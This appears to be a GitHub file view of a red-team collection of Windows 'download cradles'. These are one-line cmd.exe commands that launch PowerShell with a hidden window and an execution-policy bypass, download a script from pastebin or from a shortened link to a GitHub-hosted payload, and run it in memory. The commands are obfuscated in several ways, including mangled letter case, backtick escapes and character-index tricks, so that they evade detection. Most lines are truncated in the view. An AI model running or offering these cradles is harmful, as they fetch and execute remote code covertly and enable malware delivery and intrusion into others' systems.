Payload-Download-Cradles / Download-Cradles.cmd

26 lines (21 loc) · 3.55 KB

Code | Blame | Raw

```
# Not proxy aware download cradles, which can be executed in a Windows Command Shell (cmd.exe)
# Windows Command Shell download cradles, not proxy aware ligthly obfuscated
cmd> c:\WInDowS\sySTEM32\cmD.eXE   /c  PoWErSheLl  -nopROfi  -EXe  byPAsS  -wiNDOwsTy  HIDdEN -cOMM
cmd> PoWErSheLl  -nopROfi  -EXe  byPAsS  -wiNdOwsTy  HIDdEN -cOMMA  "IEX (New-Object Net.Webclient)
cmd> POWErshelL  -NoPRofi -WiNdoWSTYL  hidd -EXecUTiOnPO BYpASS -cO  "i`EX (    neW-o`BJE`cT N`ET.`

# Windows Command Shell download cradles, not proxy aware obfuscated
cmd> c:\wiNdoWs\sysTEM32\CmD  /c  pOWeRsheLl -WiNDOW  HIddEN -eXECUTI  BYpaSS  -nop  -CoMmanD   "(N
cmd> pOWeRshell -WiNDOW  HIddEN -eXECUTI  BYpaSS  -nop  -CoMmanD   "(New-Object Net.WebClient).Dowr
cmd> pOWERShELl -NopROFi -wIN hidd -EXEcutiOnPoLiC BYpAsS  -COm    "$url='https://pastebin.com/raw/
cmd> POWERShelL  -W  hId -eXECuTionpoLIC BYPaSS  -NOprOfiLe -cOmMA    "$url='https://pastebin.com/r
cmd> POWeRsHeLl -cO   "&( ([String]''.Normalize)[23,15,46]-Join'')(([Char[]](New-Object Net.WebClie
cmd> POWerSHElL  -CommA    "i`Ex ( nE`w-`ObJect Ne`T.WEBCl`Ient  ).\"DowNlo`Ads`TRI`NG\"(   \"ht\"+


# Proxy aware download cradles, which can be executed in a Windows Command Shell (cmd.exe)
# Info: I use a shortcut link to the raw link from your hosted payload on Github
# For example, https://cutt.ly/syFzILH directs to the raw link of hosted payload on github

# Windows Command Shell download cradles, proxy aware ligthly obfuscated
cmd> c:\wInDOwS\sysTem32\CmD   /cPowErShell -wINdowstYL  Hi  -nop -eXecU ByPAss -COm    "$c=new-obj
cmd> PowErShell -wINdOwstYL  Hi  -nop -eXecU BYpAss -COm    "$c=new-object net.webclient;$c.proxy=[

# Windows Command Shell download cradles, proxy aware heavy obfuscated
cmd> C:\WINdOWS\SySteM32\CmD.EXe  /cpOWershEll  -eXecut byPaSS -Noprof  -w  H -Co    "$c=new-object
```

```
26      cmd> poWershELl -eXecUT byPAss -WINDo  1  -nOpR  -coMm  "& ((vARiaBlE '*mdr*').Name[3,11,2]-JoiN'')
```